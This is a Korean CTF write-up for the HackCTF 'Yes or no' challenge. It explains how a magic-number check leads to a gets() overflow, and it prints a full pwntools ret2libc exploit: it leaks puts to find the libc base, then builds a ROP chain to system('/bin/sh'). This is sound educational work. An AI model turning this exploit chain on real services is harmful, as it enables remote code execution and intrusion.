본문 바로가기

6. Wargame write-up

[HackCTF] Yes or no

 

 

zip 파일을 다운로드 받아 파일 내부를 확인해보니 바이너리와 라이브러리 파일이 주어졌네요!

파일 정보를 확인해보면 64비트 바이너리이고, NX가 걸려있습니다.

 

 

파일을 실행시켜보면 숫자를 입력받습니다. 그럼 바이너리를 분석해볼게요!

 

gdb로 분석하다가 IDA가 한눈에 보기 편해서 IDA로 보여드릴게요 ㅎㅎ

 

바로 이 구간이 입력받은 숫자를 비교해 분기문을 수행하는 곳입니다. 느낌 상 “That’s cool. Follow me”가 출력되게 해야할 것 같네요.

 

그럼 비교구문에서 어떠한 값을 비교하는지 살펴볼게요.

 

1234를 입력 값으로 주었더니 “1234”(0x4d2)rax9830400(0x960000)를 비교하네요!

그럼 처음에 주어야 할 입력 값은 9830400이 되겠습니다.

 

 

9830400을 입력 값으로 주니 예상대로 “That’s cool~~~~” 을 출력해주고 gets 함수로 입력 값을 받네요.

이 부분에서 BOF를 일으켜 쉘을 따내야합니다.

 

우선 입력 받는 곳에서 RET 주소까지의 거리는 26byte입니다. (과정은 생략)

그럼 실제 libc_baseleak하기 위해 쓸 함수를 찾아볼게요.

 

 

참고로 system 함수가 바이너리 안에서 사용되지 않으므로 라이브러리 파일을 이용해 system 함수를 불러와야합니다. 여기에 인자를 1개 받는 puts 함수가 보이네요! puts 함수로 puts@got를 인자 값으로 줘서 puts의 실제 주소를 알아내고 libc_base를 구하겠습니다.

 

 

* 64bit ROP32bit와 달리 “gadget + 인자 + 함수이러한 형태로 스택에 넘겨줘야합니다.

 

 

puts 함수의 인자는 1개니까 pop rdi, ret 가젯을 찾아줍니다.

 

그럼 이제까지의 payload를 대략 나타내주면

dummy(26byte) + pr(pop ret) + puts@got + puts@plt 입니다.

 

puts 함수의 실제 주소를 받아와서 system 함수의 주소를 ret 해줘야하니까 우선 main 함수로 ret을 해주겠습니다.

그리고 다시 dummy + pr + binsh + ret + system주소를 payload로 보내줄게요.

코드에서 핵심 payload부분만 보면 이렇게 되겠습니다

 

 

exploit 전체 코드는 이렇습니다!

from pwn import *

p = remote("ctf.j0n9hyun.xyz",3009)
#p = process("./yes_or_no")

elf = ELF("./yes_or_no")
libc = ELF("./libc-2.27.so")

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

ret = 0x40056e
pop_rdi = 0x400883

system_offset = libc.symbols['system']
binsh_offset = list(libc.search('/bin/sh'))[0]

number = "9830400"

p.recv()
p.sendline(number)
#p.recvuntil('Follow me\n')
p.recvline()
payload = "A"*26

#puts(puts_got)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)

payload += p64(elf.symbols['main'])

p.sendline(payload)

puts = u64(p.recv(6)+"\x00\x00")

libc_base = puts - libc.symbols['puts']
system = libc_base + system_offset
binsh = libc_base + binsh_offset

#system("/bin/sh")
payload = "A"*26
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(ret)
payload += p64(system)

p.sendline(number)
p.recvuntil('Follow me\n')
p.sendline(payload)
p.interactive()

 

 

*** 코드 짜면서 애썼던 부분..

 

1) 마지막 system 함수로 ret해서 인자로 “/bin/sh” 넘겨주는데 중간에 ret주소를 넘겨줘야했음

 

나도 블로그에서 찾아본건데 문제에서 18.04라고 조건을 준 이유였던 것 같다.

 

어쩐지.. 로컬에서 했을 때 저 오류가 계속 나길래 뭔가 했음

movaps 명령어가 rsp값이 16진수로 정렬되어있지않으면 에러가 발생하는 이유였나보다.;;

ret을 이용해서 rsp8바이트 올려줘서 16배수로 맞춰줘야한다고 한다.

 

참고_https://wogh8732.tistory.com/149

 

2) 문구 “That’s cool.~~ \n”를 받을 때 그냥 p.recvuntil() 을 사용하지 않고 p.recv()를 사용해서 받아왔더니 정상적으로 payload를 보낼 수가 없었음

 

recv()는 출력하는 데이터를 최대로 받아오기 때문에 recvline을 사용해서 \n이 끝나는 한 줄을 받아오거나 recvuntil을 사용해서 원하는 문자열까지만 받아올 수 있도록 해야했다. 이 부분 코드 짤 때마다 어려움

 

3) 헷갈렸는데 libc_base를 구할 때 elf.symbols[‘puts’]offset값을 줘서 정상적으로 exploit할 수 없었음.

 

libc_base를 구할 때는 elf.symbols가 아닌 사용되는 라이브러리 함수에서의 offset을 구해야한다. 

elf.symbolsbase주소가 다르기 때문에 libc_base를 제대로 구할 수 없다는 것 (실수실수..,,)

'6. Wargame write-up' 카테고리의 다른 글

[HackCTF] BOF_PIE  (0) 2021.09.07
[HackCTF] Hidden  (0) 2021.09.07
[SquareCTF(2017)] Needle in the haystack 풀이  (0) 2021.05.19
[SquareCTF(2017)] Reading between the lines 풀이  (0) 2021.05.13
[SquareCTF(2017)] 6yte 풀이  (0) 2021.05.06